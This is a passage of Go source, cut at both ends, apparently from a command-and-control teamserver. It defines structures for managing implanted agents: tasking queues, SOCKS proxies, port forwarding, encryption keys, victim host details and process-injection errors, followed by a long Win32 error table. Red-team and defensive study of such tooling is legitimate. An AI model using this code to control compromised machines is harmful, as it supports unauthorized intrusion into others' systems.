int AgentID int Data *parser.Parser } type ServiceAgentInterface interface { SendResponse(AgentInfo any, Header Header) []byte SendAgentBuildRequest(ClientID string, Config map[string]any, Listener map[string]any) } // TeamServer // interface that allows us to interact with the core teamserver type TeamServer interface { AgentUpdate(agent *Agent) Died(Agent *Agent) ParentOf(Agent *Agent) (int, error) LinksOf(Agent *Agent) []int LinkRemove(ParentAgent *Agent, LinkAgent *Agent, UpdateLinks bool) LinkAdd(ParentAgent *Agent, LinkAgent *Agent) error AgentHasDied(Agent *Agent) bool AgentAdd(agent *Agent) []*Agent PythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string) AgentSendNotify(agent *Agent) AgentCallbackSize(DemonInstance *Agent, i int) AgentInstance(AgentID int) *Agent AgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32) AgentExist(AgentID int) bool AgentConsole(DemonID string, CommandID int, Output map[string]string) EventAppend(event packager.Package) []packager.Package EventBroadcast(ExceptClient string, pk packager.Package) EventNewDemon(DemonAgent *Agent) packager.Package EventAgentMark(AgentID, Mark string) EventListenerError(ListenerName string, Error error) ListenerAdd(FromUser string, Type int, Config any) packager.Package ServiceAgent(MagicValue int) ServiceAgentInterface ServiceAgentExist(MagicValue int) bool GetDotNetPipeTemplate() string SendLogs() bool } type Job struct { Command uint32 RequestID uint32 Data []interface{} Payload []byte CommandLine string TaskID string Created string Encryption struct { Key []byte IV []byte } } type Pivots struct { Parent *Agent Links []*Agent } type Download struct { File *os.File FileID int FilePath string LocalFile string TotalSize int64 Progress int64 State int } type BofCallback struct { TaskID uint32 Output string Error string ClientID string } type PortFwd struct { Conn net.Conn SocktID int Type int LclAddr int LclPort int FwdAddr int FwdPort int Target string } type SocksClient struct { SocketID int32 Conn net.Conn Connected bool ATYP byte IpDomain []byte Port uint16 } type SocksServer struct { Server *socks.Socks Addr string } // TODO: maybe change this to type map[string]any instead of struct type Agent struct { NameID string JobQueue []Job Tasks []Job SessionDir string Active bool Reason string BofCallbacks []*BofCallback Info *AgentInfo Pivots Pivots /* TODO: make a map called "Optional" where to put demon/3rd party * specific data (either use type "any" or map lets see). * to avoid having some unnecessary data for 3rd party agent */ Downloads []*Download PortFwds []*PortFwd PortFwdsMtx sync.Mutex SocksCli []*SocksClient SocksCliMtx sync.Mutex SocksSvr []*SocksServer SocksSvrMtx sync.Mutex Encryption struct { AESKey []byte AESIv []byte } TaskedOnce bool /* general value. leave it... */ BackgroundCheck bool } type AgentInfo struct { // Connection Info Listener any MagicValue int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 // OS Info OSVersion string OSArch string OSBuild string InternalIP string ExternalIP string Hostname string DomainName string Username string // User Info Elevated string // Process Info ProcessArch string ProcessName string ProcessPID int ProcessTID int ProcessPPID int ProcessPath string BaseAddress int64 // Call home from Demon FirstCallIn string LastCallIn string } type Agents struct { Agents []*Agent } var InjectErrors = map[int]string{ 0x1001: "trying to inject a x64 payload into a x86 process", 0x1002: "trying to inject a x86 payload into a x64 process", 0x1003: "failed to spawn target process", } const ( DOWNLOAD_STATE_RUNNING = 0x1 DOWNLOAD_STATE_STOPPED = 0x2 DOWNLOAD_STATE_REMOVE = 0x3 ) var Win32ErrorCodes = map[int]string{ 1: "ERROR_INVALID_FUNCTION", 2: "ERROR_FILE_NOT_FOUND", 3: "ERROR_PATH_NOT_FOUND", 4: "ERROR_TOO_MANY_OPEN_FILES", 5: "ERROR_ACCESS_DENIED", 6: "ERROR_INVALID_HANDLE", 7: "ERROR_ARENA_TRASHED", 8: "ERROR_NOT_ENOUGH_MEMORY", 9: "ERROR_INVALID_BLOCK", 10: "ERROR_BAD_ENVIRONMENT", 11: "ERROR_BAD_FORMAT", 12: "ERROR_INVALID_ACCESS", 13: "ERROR_INVALID_DATA", 14: "ERROR_OUTOFMEMORY", 15: "ERROR_INVALID_DRIVE", 16: "ERROR_CURRENT_DIRECTORY", 17: "ERROR_NOT_SAME_DEVICE", 18: "ERROR_NO_MORE_FILES", 19: "ERROR_WRITE_PROTECT", 20: "ERROR_BAD_UNIT", 21: "ERROR_NOT_READY", 22: "ERROR_BAD_COMMAND", 23: "ERROR_CRC", 24: "ERROR_BAD_LENGTH", 25: "ERROR_SEEK", 26: "ERROR_NOT_DOS_DISK", 27: "ERROR_SECTOR_NOT_FOUND", 28: "ERROR_OUT_OF_PAPER", 29: "ERROR_WRITE_FAULT", 30: "ERROR_READ_FAULT", 31: "ERROR_GEN_FAILURE", 32: "ERROR_SHARING_VIOLATION", 33: "ERROR_LOCK_VIOLATION", 34: "ERROR_WRONG_DISK", 36: "ERROR_SHARING_BUFFER_EXCEEDED", 38: "ERROR_HANDLE_EOF", 39: "ERROR_HANDLE_DISK_FULL", 50: "ERROR_NOT_SUPPORTED", 51: "ERROR_REM_NOT_LIST", 52: "ERROR_DUP_NAME", 53: "ERROR_BAD_NETPATH", 54: "ERROR_NETWORK_BUSY", 55: "ERROR_DEV_NOT_EXIST", 56: "ERROR_TOO_MANY_CMDS", 57: "ERROR_ADAP_HDW_ERR", 58: "ERROR_BAD_NET_RESP", 59: "ERROR_UNEXP_NET_ERR", 60: "ERROR_BAD_REM_ADAP", 61: "ERROR_PRINTQ_FULL", 62: "ERROR_NO_SPOOL_SPACE", 63: "ERROR_PRINT_CANCELLED", 64: "ERROR_NETNAME_DELETED", 65: "ERROR_NETWORK_ACCESS_DENIED", 66: "ERROR_BAD_DEV_TYPE", 67: "ERROR_BAD_NET_NAME", 68: "ERROR_TOO_MANY_NAMES", 69: "ERROR_TOO_MANY_SESS", 70: "ERROR_SHARING_PAUSED", 71: "ERROR_REQ_NOT_ACCEP", 72: "ERROR_REDIR_PAUSED", 80: "ERROR_FILE_EXISTS", 82: "ERROR_CANNOT_MAKE", 83: "ERROR_FAIL_I24", 84: "ERROR_OUT_OF_STRUCTURES", 85: "ERROR_ALREADY_ASSIGNED", 86: "ERROR_INVALID_PASSWORD", 87: "ERROR_INVALID_PARAMETER", 88: "ERROR_NET_WRITE_FAULT", 89: "ERROR_NO_PROC_SLOTS", 100: "ERROR_TOO_MANY_SEMAPHORES", 101: "ERROR_EXCL_SEM_ALREADY_OWNED", 102: "ERROR_SEM_IS_SET", 103: "ERROR_TOO_MANY_SEM_REQUESTS", 104: "ERROR_INVALID_AT_INTERRUPT_TIME", 105: "ERROR_SEM_OWNER_DIED", 106: "ERROR_SEM_USER_LIMIT", 107: "ERROR_DISK_CHANGE", 108: "ERROR_DRIVE_LOCKED", 109: "ERROR_BROKEN_PIPE", 110: "ERROR_OPEN_FAILED", 111: "ERROR_BUFFER_OVERFLOW", 112: "ERROR_DISK_FULL", 113: "ERROR_NO_MORE_SEARCH_HANDLES", 114: "ERROR_INVALID_TARGET_HANDLE", 117: "ERROR_INVALID_CATEGORY", 118: "ERROR_INVALID_VERIFY_SWITCH", 119: "ERROR_BAD_DRIVER_LEVEL", 120: "ERROR_CALL_NOT_IMPLEMENTED", 121: "ERROR_SEM_TIMEOUT", 122: "ERROR_INSUFFICIENT_BUFFER", 123: "ERROR_INVALID_NAME", 124: "ERROR_INVALID_LEVEL", 125: "ERROR_NO_VOLUME_LABEL", 126: "ERROR_MOD_NOT_FOUND", 127: "ERROR_PROC_NOT_FOUND", 128: "ERROR_WAIT_NO_CHILDREN", 129: "ERROR_CHILD_NOT_COMPLETE", 130: "ERROR_DIRECT_ACCESS_HANDLE", 131: "ERROR_NEGATIVE_SEEK", 132: "ERROR_SEEK_ON_DEVICE", 133: "ERROR_IS_JOIN_TARGET", 134: "ERROR_IS_JOINED", 135: "ERROR_IS_SUBSTED", 136: "ERROR_NOT_JOINED", 137: "ERROR_NOT_SUBSTED", 138: "ERROR_JOIN_TO_JOIN", 139: "ERROR_SUBST_TO_SUBST", 140: "ERROR_JOIN_TO_SUBST", 141: "ERROR_SUBST_TO_JOIN", 142: "ERROR_BUSY_DRIVE", 143: "ERROR_SAME_DRIVE", 144: "ERROR_DIR_NOT_ROOT", 145: "ERROR_DIR_NOT_EMPTY", 146: "ERROR_IS_SUBST_PATH", 147: "ERROR_IS_JOIN_PATH", 148: "ERROR_PATH_BUSY", 149: "ERROR_IS_SUBST_TARGET", 150: "ERROR_SYSTEM_TRACE", 151: "ERROR_INVALID_EVENT_COUNT", 152: "ERROR_TOO_MANY_MUXWAITERS", 153: "ERROR_INVALID_LIST_FORMAT", 154: "ERROR_LABEL_TOO_LONG", 155: "ERROR_TOO_MANY_TCBS", 156: "ERROR_SIGNAL_REFUSED", 157: "ERROR_DISCARDED", 158: "ERROR_NOT_LOCKED", 159: "ERROR_BAD_THREADID_ADDR", 160: "ERROR_BAD_ARGUMENTS", 161: "ERROR_BAD_PATHNAME", 162: "ERROR_SIGNAL_PENDING", 164: "ERROR_MAX_THRDS_REACHED", 167: "ERROR_LOCK_FAILED", 170: "ERROR_BUSY", 173: "ERROR_CANCEL_VIOLATION", 174: "ERROR_ATOMIC_LOCKS_NOT_SUPPORTED", 180: "ERROR_INVALID_SEGMENT_NUMBER", 182: "ERROR_INVALID_ORDINAL", 183: "ERROR_ALREADY_EXISTS", 186: "ERROR_INVALID_FLAG_NUMBER", 187: "ERROR_SEM_NOT_FOUND", 188: "ERROR_INVALID_STARTING_CODESEG", 189: "ERROR_INVALID_STACKSEG", 190: "ERROR_INVALID_MODULETYPE", 191: "ERROR_INVALID_EXE_SIGNATURE", 192: "ERROR_EXE_MARKED_INVALID", 193: "ERROR_BAD_EXE_FORMAT", 194: "ERROR_ITERATED_DATA_EXCEEDS_64k", 195: "ERROR_INVALID_MINALLOCSIZE", 196: "ERROR_DYNLINK_FROM_INVALID_RING", 197: "ERROR_IOPL_NOT_ENABLED", 198: "ERROR_INVALID_SEGDPL", 199: "ERROR_AUTODATASEG_EXCEEDS_64k", 200: "ERROR_RING2SEG_MUST_BE_MOVABLE", 201: "ERROR_RELOC_CHAIN_XEEDS_SEGLIM", 202: "ERROR_INFLOOP_IN_RELOC_CHAIN", 203: "ERROR_ENVVAR_NOT_FOUND", 205: "ERROR_NO_SIGNAL_SENT", 206: "ERROR_FILENAME_EXCED_RANGE", 207: "ERROR_RING2_STACK_IN_USE", 208: "ERROR_META_EXPANSION_TOO_LONG", 209: "ERROR_INVALID_SIGNAL_NUMBER", 210: "ERROR_THREAD_1_INACTIVE", 212: "ERROR_LOCKED", 214: "ERROR_TOO_MANY_MODULES", 215: "ERROR_NESTING_NOT_ALLOWED", 216: "ERROR_EXE_MACHINE_TYPE_MISMATCH", 217: "ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY", 218: "ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY", 220: "ERROR_FILE_CHECKED_OUT", 221: "ERROR_CHECKOUT_REQUIRED", 222: "ERROR_BAD_FILE_TYPE", 223: "ERROR_FILE_TOO_LARGE", 224: "ERROR_FORMS_AUTH_REQUIRED", 225: "ERROR_VIRUS_INFECTED", 226: "ERROR_VIRUS_DELETED", 229: "ERROR_PIPE_LOCAL", 230: "ERROR_BAD_PIPE", 231: "ERROR_PIPE_BUSY", 232: "ERROR_NO_DATA", 233: "ERROR_PIPE_NOT_CONNECTED", 234: "ERROR_MORE_DATA", 240: "ERROR_VC_DISCONNECTED", 254: "ERROR_INVALID_EA_NAME", 255: "ERROR_EA_LIST_INCONSISTENT", 258: "WAIT_TIMEOUT", 259: "ERROR_NO_MORE_ITEMS", 266: "ERROR_CANNOT_COPY", 267: "ERROR_DIRECTORY", 275: "ERROR_EAS_DIDNT_FIT", 276: "ERROR_EA_FILE_CORRUPT", 277: "ERROR_EA_TABLE_FULL", 278: "ERROR_INVALID_EA_HANDLE", 282: "ERROR_EAS_NOT_SUPPORTED", 288: "ERROR_NOT_OWNER", 298: "ERROR_TOO_MANY_POSTS", 299: "ERROR_PARTIAL_COPY", 300: "ERROR_OPLOCK_NOT_GRANTED", 301: "ERROR_INVALID_OPLOCK_PROTOCOL", 302: "ERROR_DISK_TOO_FRAGMENTED", 303: "ERROR_DELETE_PENDING", 317: "ERROR_MR_MID_NOT_FOUND", 318: "ERROR_SCOPE_NOT_FOUND", 350: "ERROR_FAIL_NOACTION_REBOOT", 351: "ERROR_FAIL_SHUTDOWN", 352: "ERROR_FAIL_RESTART", 353: "ERROR_MAX_SESSIONS_REACHED", 400: "ERROR_THREAD_MODE_ALREADY_BACKGROUND", 401: "ERROR_THREAD_MODE_NOT_BACKGROUND", 402: "ERROR_PROCESS_MODE_ALREADY_BACKGROUND", 403: "ERROR_PROCESS_MODE_NOT_BACKGROUND", 487: "ERROR_INVALID_ADDRESS", 500: "ERROR_USER_PROFILE_LOAD", 534: "ERROR_ARITHMETIC_OVERFLOW", 535: "ERROR_PIPE_CONNECTED", 536: "ERROR_PIPE_LISTENING", 537: "ERROR_VERIFIER_STOP", 538: "ERROR_ABIOS_ERROR", 539: "ERROR_WX86_WARNING", 540: "ERROR_WX86_ERROR", 541: "ERROR_TIMER_NOT_CANCELED", 542: "ERROR_UNWIND", 543: "ERROR_BAD_STACK", 544: "ERROR_INVALID_UNWIND_TARGET", 545: "ERROR_INVALID_PORT_ATTRIBUTES", 546: "ERROR_PORT_MESSAGE_TOO_LONG", 547: "ERROR_INVALID_QUOTA_LOWER", 548: "ERROR_DEVICE_ALREADY_ATTACHED", 549: "ERROR_INSTRUCTION_MISALIGNMENT", 550: "ERROR_PROFILING_NOT_STARTED", 551: "ERROR_PROFILING_NOT_STOPPED", 552: "ERROR_COULD_NOT_INTERPRET", 553: "ERROR_PROFILING_AT_LIMIT", 554: "ERROR_CANT_WAIT", 555: "ERROR_CANT_TERMINATE_SELF", 556: "ERROR_UNEXPECTED_MM_CREATE_ERR", 557: "ERROR_UNEXPECTED_MM_MAP_ERROR", 558: "ERROR_UNEXPECTED_MM_EXTEND_ERR", 559: "ERROR_BAD_FUNCTION_TABLE", 560: "ERROR_NO_GUID_TRANSLATION", 561: "ERROR_INVALID_LDT_SIZE", 563: "ERROR_INVALID_LDT_OFFSET", 564: "ERROR_INVALID_LDT_DESCRIPTOR", 565: "ERROR_TOO_MANY_THREADS", 566: "ERROR_THREAD_NOT_IN_PROCESS", 567: "ERROR_PAGEFILE_QUOTA_EXCEEDED", 568: "ERROR_LOGON_SERVER_CONFLICT", 569: "ERROR_SYNCHRONIZATION_REQUIRED", 570: "ERROR_NET_OPEN_FAILED", 571: "ERROR_IO_PRIVILEGE_FAILED", 572: "ERROR_CONTROL_C_EXIT", 573: "ERROR_MISSING_SYSTEMFILE", 574: "ERROR_UNHANDLED_EXCEPTION", 575: "ERROR_APP_INIT_FAILURE", 576: "ERROR_PAGEFILE_CREATE_FAILED", 577: "ERROR_INVALID_IMAGE_HASH", 578: "ERROR_NO_PAGEFILE", 579: "ERROR_ILLEGAL_FLOAT_CONTEXT", 580: "ERROR_NO_EVENT_PAIR", 581: "ERROR_DOMAIN_CTRLR_CONFIG_ERROR", 582: "ERROR_ILLEGAL_CHARACTER", 583: "ERROR_UNDEFINED_CHARACTER", 584: "ERROR_FLOPPY_VOLUME", 585: "ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT", 586: "ERROR_BACKUP_CONTROLLER", 587: "ERROR_MUTANT_LIMIT_EXCEEDED", 588: "ERROR_FS_DRIVER_REQUIRED", 589: "ERROR_CANNOT_LOAD_REGISTRY_FILE", 590: "ERROR_DEBUG_ATTACH_FAILED", 591: "ERROR_SYSTEM_PROCESS_TERMINATED", 592: "ERROR_DATA_NOT_ACCEPTED", 593: "ERROR_VDM_HARD_ERROR", 594: "ERROR_DRIVER_CANCEL_TIMEOUT", 595: "ERROR_REPLY_MESSAGE_MISMATCH", 596: "ERROR_LOST_WRITEBEHIND_DATA", 597: "ERROR_CLIENT_SERVER_PARAMETERS_INVALID", 598: "ERROR_NOT_TINY_STREAM", 599: "ERROR_STACK_OVERFLOW_READ", 600: "ERROR_CONVERT_TO_LARGE", 601: "ERROR_FOUND_OUT_OF_SCOPE", 602: "ERROR_ALLOCATE_BUCKET", 603: "ERROR_MARSHALL_OVERFLOW", 604: "ERROR_INVALID_VARIANT", 605: "ERROR_BAD_COMPRESSION_BUFFER", 606: "ERROR_AUDIT_FAILED", 607: "ERROR_TIMER_RESOLUTION_NOT_SET", 608: "ERROR_INSUFFICIENT_LOGON_INFO", 609: "ERROR_BAD_DLL_ENTRYPOINT", 610: "ERROR_BAD_SERVICE_ENTRYPOINT", 611: "ERROR_IP_ADDRESS_CONFLICT1", 612: "ERROR_IP_ADDRESS_CONFLICT2", 613: "ERROR_REGISTRY_QUOTA_LIMIT", 614: "ERROR_NO_CALLBACK_ACTIVE", 615: "ERROR_PWD_TOO_SHORT", 616: "ERROR_PWD_TOO_RECENT", 617: "ERROR_PWD_HISTORY_CONFLICT", 618: "ERROR_UNSUPPORTED_COMPRESSION", 619: "ERROR_INVALID_HW_PROFILE", 620: "ERROR_INVALID_PLUGPLAY_DEVICE_PATH", 621: "ERROR_QUOTA_LIST_INCONSISTENT", 622: "ERROR_EVALUATION_EXPIRATION", 623: "ERROR_ILLEGAL_DLL_RELOCATION", 624: "ERROR_DLL_INIT_FAILED_LOGOFF", 625: "ERROR_VALIDATE_CONTINUE", 626: "ERROR_NO_MORE_MATCHES", 627: "ERROR_RANGE_LIST_CONFLICT", 628: "ERROR_SERVER_SID_MISMATCH", 629: "ERROR_CANT_ENABLE_DENY_ONLY", 630: "ERROR_FLOAT_MULTIPLE_FAULTS", 631: "ERROR_FLOAT_MULTIPLE_TRAPS", 632: "ERROR_NOINTERFACE", 633: "ERROR_DRIVER_FAILED_SLEEP", 634: "ERROR_CORRUPT_SYSTEM_FILE", 635: "ERROR_COMMITMENT_MINIMUM", 636: "ERROR_PNP_RESTART_ENUMERATION", 637: "ERROR_SYSTEM_IMAGE_BAD_SIGNATURE", 638: "ERROR_PNP_REBOOT_REQUIRED", 639: "ERROR_INSUFFICIENT_POWER", 640: "ERROR_MULTIPLE_FAULT_VIOLATION", 641: "ERROR_SYSTEM_SHUTDOWN", 642: "ERROR_PORT_NOT_SET", 643: "ERROR_DS_VERSION_CHECK_FAILURE", 644: "ERROR_RANGE_NOT_FOUND", 646: "ERROR_NOT_SAFE_MODE_DRIVER", 647: "ERROR_FAILED_DRIVER_ENTRY", 648: "ERROR_DEVICE_ENUMERATION_ERROR", 649: "ERROR_MOUNT_POINT_NOT_RESOLVED", 650: "ERROR_INVALID_DEVICE_OBJECT_PARAMETER", 651: "ERROR_MCA_OCCURED", 652: "ERROR_DRIVER_DATABASE_ERROR", 653: "ERROR_SYSTEM_HIVE_TOO_LARGE", 654: "ERROR_DRIVER_FAILED_PRIOR_UNLOAD", 655: "ERROR_VOLSNAP_PREPARE_HIBERNATE", 656: "ERROR_HIBERNATION_FAILURE", 665: "ERROR_FILE_SYSTEM_LIMITATION", 668: "ERROR_ASSERTION_FAILURE", 669: "ERROR_ACPI_ERROR", 670: "ERROR_WOW_ASSERTION", 671: "ERROR_PNP_BAD_MPS_TABLE", 672: "ERROR_PNP_TRANSLATION_FAILED", 673: "ERROR_PNP_IRQ_TRANSLATION_FAILED", 674: "ERROR_PNP_INVALID_ID", 675: "ERROR_WAKE_SYSTEM_DEBUGGER", 676: "ERROR_HANDLES_CLOSED", 677: "ERROR_EXTRANEOUS_INFORMATION", 678: "ERROR_RXACT_COMMIT_NECESSARY", 679: "ERROR_MEDIA_CHECK", 680: "ERROR_GUID_SUBSTITUTION_MADE", 681: "ERROR_STOPPED_ON_SYMLINK", 682: "ERROR_LONGJUMP", 683: "ERROR_PLUGPLAY_QUERY_VETOED", 684: "ERROR_UNWIND_CONSOLIDATE", 685: "ERROR_REGISTRY_HIVE_RECOVERED", 686: "ERROR_DLL_MIGHT_BE_INSECURE", 687: "ERROR_DLL_MIGHT_BE_INCOMPATIBLE", 688: "ERROR_DBG_EXCEPTION_NOT_HANDLED", 689: "ERROR_DBG_REPLY_LATER", 690: "ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE", 691: "ERROR_DBG_TERMINATE_THREAD", 692: "ERROR_DBG_TERMINATE_PROCESS", 693: "ERROR_DBG_CONTROL_C", 694: "ERROR_DBG_PRINTEXCEPTION_C", 695: "ERROR_DBG_RIPEXCEPTION", 696: "ERROR_DBG_CONTROL_BREAK", 697: "ERROR_DBG_COMMAND_EXCEPTION", 698: "ERROR_OBJECT_NAME_EXISTS", 699: "ERROR_THREAD_WAS_SUSPENDED", 700: "ERROR_IMAGE_NOT_AT_BASE", 701: "ERROR_RXACT_STATE_CREATED", 702: "ERROR_SEGMENT_NOTIFICATION", 703: "ERROR_BAD_CURRENT_DIRECTORY", 704: "ERROR_FT_READ_RECOVERY_FROM_BACKUP", 705: "ERROR_FT_WRITE_RECOVERY", 706: "ERROR_IMAGE_MACHINE_TYPE_MISMATCH", 707: "ERROR_RECEIVE_PARTIAL", 708: "ERROR_RECEIVE_EXPEDITED", 709: "ERROR_RECEIVE_PARTIAL_EXPEDITED", 710: "ERROR_EVENT_DONE", 711: "ERROR_EVENT_PENDING", 712: "ERROR_CHECKING_FILE_SYSTEM", 713: "ERROR_FATAL_APP_EXIT", 714: "ERROR_PREDEFINED_HANDLE", 715: "ERROR_WAS_UNLOCKED", 716: "ERROR_SERVICE_NOTIFICATION", 717: "ERROR_WAS_LOCKED", 718: "ERROR_LOG_HARD_ERROR", 719: "ERROR_ALREADY_WIN32", 720: "ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE", 721: "ERROR_NO_YIELD_PERFORMED", 722: "ERROR_TIMER_RESUME_IGNORED", 723: "ERROR_ARBITRATION_UNHANDLED", 724: "ERROR_CARDBUS_NOT_SUPPORTED", 725: "ERROR_MP_PROCESSOR_MISMATCH", 726: "ERROR_HIBERNATED", 727: "ERROR_RESUME_HIBERNATION", 728: "ERROR_FIRMWARE_UPDATED", 729: "ERROR_DRIVERS_LEAKING_LOCKED_PAGES", 730: "ERROR_WAKE_SYSTEM", 731: "ERROR_WAIT_1", 732: "ERROR_WAIT_2", 733: "ERROR_WAIT_3", 734: "ERROR_WAIT_63", 735: "ERROR_ABANDONED_WAIT_0", 736: "ERROR_ABANDONED_WAIT_63", 737: "ERROR_USER_APC", 738: "ERROR_KERNEL_APC", 739: "ERROR_ALERTED", 740: "ERROR_ELEVATION_REQUIRED", 741: "ERROR_REPARSE", 742: "ERROR_OPLOCK_BREAK_IN_PROGRESS", 743: "ERROR_VOLUME_MOUNTED", 744: "ERROR_RXACT_COMMITTED", 745: "ERROR_NOTIFY_CLEANUP", 746: "ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED", 747: "ERROR_PAGE_FAULT_TRANSITION", 748: "ERROR_PAGE_FAULT_DEMAND_ZERO", 749: "ERROR_PAGE_FAULT_COPY_ON_WRITE", 750: "ERROR_PAGE_FAULT_GUARD_PAGE", 751: "ERROR_PAGE_FAULT_PAGING_FILE", 752: "ERROR_CACHE_PAGE_LOCKED", 753: "ERROR_CRASH_DUMP", 754: "ERROR_BUFFER_ALL_ZEROS", 755: "ERROR_REPARSE_OBJECT", 756: "ERROR_RESOURCE_REQUIREMENTS_CHANGED", 757: "ERROR_TRANSLATION_COMPLETE", 758: "ERROR_NOTHING_TO_TERMINATE", 759: "ERROR_PROCESS_NOT_IN_JOB", 760: "ERROR_PROCESS_IN_JOB", 761: "ERROR_VOLSNAP_HIBERNATE_READY", 762: "ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY", 763: "ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED", 764: "ERROR_INTERRUPT_STILL_CONNECTED", 765: "ERROR_WAIT_FOR_OPLOCK", 766: "ERROR_DBG_EXCEPTION_HANDLED", 767: "ERROR_DBG_CONTINUE", 768: "ERROR_CALLBACK_POP_STACK", 769: "ERROR_COMPRESSION_DISABLED", 770: "ERROR_CANTFETCHBACKWARDS", 771: "ERROR_CANTSCROLLBACKWARDS", 772: "ERROR_ROWSNOTRELEASED", 773: "ERROR_BAD_ACCESSOR_FLAGS", 774: "ERROR_ERRORS_ENCOUNTERED", 775: "ERROR_NOT_CAPABLE", 776: "ERROR_REQUEST_OUT_OF_SEQUENCE", 777: "ERROR_VERSION_PARSE_ERROR", 778: "ERROR_BADSTARTPOSITION", 779: "ERROR_MEMORY_HARDWARE", 780: "ERROR_DISK_REPAIR_DISABLED", 781: "ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE", 782: "ERROR_SYSTEM_POWERSTATE_TRANSITION", 783: "ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION", 784: "ERROR_MCA_EXCEPTION", 785: "ERROR_ACCESS_AUDIT_BY_POLICY", 786: "ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY", 787: "ERROR_ABANDON_HIBERFILE", 788: "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED", 789: "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR", 790: "ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR", 791: "ERROR_BAD_MCFG_TABLE", 994: "ERROR_EA_ACCESS_DENIED", 995: "ERROR_OPERATION_ABORTED", 996: "ERROR_IO_INCOMPLETE", 997: "ERROR_IO_PENDING", 998: "ERROR_NOACCESS", 999: "ERROR_SWAPERROR", 1001: "ERROR_STACK_OVERFLOW", 1002: "ERROR_INVALID_MESSAGE", 1003: "ERROR_CAN_NOT_COMPLETE", 1004: "ERROR_INVALID_FLAGS", 1005: "ERROR_UNRECOGNIZED_VOLUME", 1006: "ERROR_FILE_INVALID", 1007: "ERROR_FULLSCREEN_MODE", 1008: "ERROR_NO_TOKEN", 1009: "ERROR_BADDB", 1010: "ERROR_BADKEY", 1011: "ERROR_CANTOPEN", 1012: "ERROR_CANTREAD", 1013: "ERROR_CANTWRITE", 1014: "ERROR_REGISTRY_RECOVERED", 1015: "ERROR_REGISTRY_CORRUPT", 1016: "ERROR_REGISTRY_IO_FAILED", 1017: "ERROR_NOT_REGISTRY_FILE", 1018: "ERROR_KEY_DELETED", 1019: "ERROR_NO_LOG_SPACE", 1020: "ERROR_KEY_HAS_CHILDREN", 1021: "ERROR_CHILD_MUST_BE_VOLATILE", 1022: "ERROR_NOTIFY_ENUM_DIR", 1051: "ERROR_DEPENDENT_SERVICES_RUNNING", 1052: "ERROR_INVALID_SERVICE_CONTROL", 1053: "ERROR_SERVICE_REQUEST_TIMEOUT", 1054: "ERROR_SERVICE_NO_THREAD", 1055: "ERROR_SERVICE_DATABASE_LOCKED", 1056: "ERROR_SERVICE_ALREADY_RUNNING", 1057: "ERROR_INVALID_SERVICE_ACCOUNT", 1058: "ERROR_SERVICE_DISABLED", 1059: "ERROR_CIRCULAR_DEPENDENCY", 1060: "ERROR_SERVICE_DOES_NOT_EXIST", 1061: "ERROR_SERVICE_CANNOT_ACCEPT_CTRL", 1062: "ERROR_SERVICE_NOT_ACTIVE", 1063: "ERROR_FAILED_SERVICE_CONTROLLER_CONNECT", 1064: "ERROR_EXCEPTION_IN_SERVICE", 1065: "ERROR_DATABASE_DOES_NOT_EXIST", 1066: "ERROR_SERVICE_SPECIFIC_ERROR", 1067: "ERROR_PROCESS_ABORTED", 1068: "ERROR_SERVICE_DEPENDENCY_FAIL", 1069: "ERROR_SERVICE_LOGON_FAILED", 1070: "ERROR_SERVICE_START_HANG", 1071: "ERROR_INVALID_SERVICE_LOCK", 1072: "ERROR_SERVICE_MARKED_FOR_DELETE", 1073: "ERROR_SERVICE_EXISTS", 1074: "ERROR_ALREADY_RUNNING_LKG", 1075: "ERROR_SERVICE_DEPENDENCY_DELETED", 1076: "ERROR_BOOT_ALREADY_ACCEPTED", 1077: "ERROR_SERVICE_NEVER_STARTED", 1078: "ERROR_DUPLICATE_SERVICE_NAME", 1079: "ERROR_DIFFERENT_SERVICE_ACCOUNT", 1080: "ERROR_CANNOT_DETECT_DRIVER_FAILURE", 1081: "ERROR_CANNOT_DETECT_PROCESS_ABORT", 1082: "ERROR_NO_RECOVERY_PROGRAM", 1083: "ERROR_SERVICE_NOT_IN_EXE", 1084: "ERROR_NOT_SAFEBOOT_SERVICE", 1100: "ERROR_END_OF_MEDIA", 1101: "ERROR_FILEMARK_DETECTED", 1102: "ERROR_BEGINNING_OF_MEDIA", 1103: "ERROR_SETMARK_DETECTED", 1104: "ERROR_NO_DATA_DETECTED", 1105: "ERROR_PARTITION_FAILURE", 1106: "ERROR_INVALID_BLOCK_LENGTH", 1107: "ERROR_DEVICE_NOT_PARTITIONED", 1108: "ERROR_UNABLE_TO_LOCK_MEDIA", 1109: "ERROR_UNABLE_TO_UNLOAD_MEDIA", 1110: "ERROR_MEDIA_CHANGED", 1111: "ERROR_BUS_RESET", 1112: "ERROR_NO_MEDIA_IN_DRIVE", 1113: "ERROR_NO_UNICODE_TRANSLATION", 1114: "ERROR_DLL_INIT_FAILED", 1115: "ERROR_SHUTDOWN_IN_PROGRESS", 1116: "ERROR_NO_SHUTDOWN_IN_PROGRESS", 1117: "ERROR_IO_DEVICE", 1118: "ERROR_SERIAL_NO_DEVICE", 1119: "ERROR_IRQ_BUSY", 1120: "ERROR_MORE_WRITES", 1121: "ERROR_COUNTER_TIMEOUT", 1122: "ERROR_FLOPPY_ID_MARK_NOT_FOUND", 1123: "ERROR_FLOPPY_WRONG_CYLINDER", 1124: "ERROR_FLOPPY_UNKNOWN_ERROR", 1125: "ERROR_FLOPPY_BAD_REGISTERS", 1126: "ERROR_DISK_RECALIBRATE_FAILED", 1127: "ERROR_DISK_OPERATION_FAILED", 1128: "ERROR_DISK_RESET_FAILED", 1129: "ERROR_EOM_OVERFLOW", 1130: 